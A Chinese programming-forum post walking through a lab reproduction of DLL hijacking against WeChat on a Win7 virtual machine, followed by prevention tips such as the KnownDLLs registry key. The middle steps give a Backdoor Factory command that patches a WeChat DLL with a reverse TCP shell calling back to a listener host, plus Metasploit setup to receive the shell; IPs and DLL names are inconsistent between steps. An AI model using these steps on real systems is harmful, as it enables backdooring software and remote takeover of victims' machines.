| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 1648 人关注过本帖
标题:微信DLL劫持反弹shell复现
只看楼主 加入收藏
源哥
Rank: 1
等 级:新手上路
帖 子:15
专家分:0
注 册:2019-9-5
收藏
 问题点数:0 回复次数:0 
微信DLL劫持反弹shell复现
最近刚好在做PPT的dll劫持测试,现在就随便拿一个程序来练练手。增加一下熟练度。本测试纯属学习测试过程,不可用于非法操作!!!
一、测试环境
工具下载地址:
    (1)BDF,劫持工具,可用于DLL注入,https://    backdoor-factory
 
    (2)ProcessExplorer https://process-explorer.en.任务管理工具,本实验中用于查找微信程序调用的 DLL 文件
二、测试过程
1
在 Win7 虚拟机中打开微信登录窗口,需要扫描登录的窗口即可;然 后开启 ProcessExplorer,在运行程序列表中找到微信,然后在菜单栏中找“View”—>“LowerPaneView”—>“DLLs”,或者 ctrl+d, 接下来可以看到微信登录页面调用的动态链接库 如下图所示
测试使用的DLL是libEGL.DLL 文件
理论在微信安装目录下其他的DLL文件都可以 有待测试
2
在kali 中下载 Backdoor - factory
执行 ./backdoor.py -h 出现测试安装是否成功
将 Win7 安装的微信程序目录中的 libEGL.dll 拷贝到 kali 系统中,放于 the-backdoor-factory 下,运行命令如下:
python backdoor.py -f Jaky/dbghelp.dll -s reverse_shell_tcp_inline -P 8888 -H 192.168.114.140
其中,-f 表示被劫持的 DLL 文件,-s 表示 shell 的类型,-P 表示 DLL 要连接 远程主机的端口,-H 表示 DLL 连接的远程主机,注意参数的大小写问题
3
然后可以看到生成的文件放在 backdoored 目录下
然后将该文件重新放置在win7的微信安装目录
4
打开kali中的msf 设置exploit 和payload,随后设置 lhost 和 lport, IP 是 192.168.112.140,端口是 8888,最后输入 exploit 或者 run,监听过来的 shell。
5
在win7中打开微信 不需要登陆 就能在kali中接受到反弹的shell。
反弹shell命令
三、预防DLL劫持
    (1)DLL劫持利用系统未知DLL的搜索路径方式,使得程序加载当前目录下的系统同名DLL。所以可以告诉系统DLL的位置,改变加载系统DLL的顺序不是当前目录,而是直接到系统目录下查找。
这个想法可以通过修改注册表实现:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerKnownDLLs是调用系统DLL的首要查找目录;例如里面有RE_SZ类型的"ntdll"="ntdll.dll"项,则系统载入"ntdll"时会直接从系统目录加载;
 
由此,添加"LPK"="LPK.DLL"即可防止LPK被劫持,同理可以阻止一些其他DLL被劫持,例如"USP10"。
    在Windows NT系统,XP默认只有少数关键DLL在此键值下,Win7下面此键值已经相当齐全,在Win7系统下发生DLL劫持的概率要比XP小很多。(借用百度的预防知识点)
    (2)还可以通过第三方工具进行dll劫持检测。DllHijackAuditor能够防止木马病毒劫持系统中的dll文件加载运行,是一款很不错的dll文件保护工具。
    (3)坚持从官方下载软件,拒绝第三方。万一有后门呢?
搜索更多相关主题的帖子: 系统 测试 目录 DLL 文件 
2019-09-23 10:28
快速回复:微信DLL劫持反弹shell复现
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.016148 second(s), 10 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved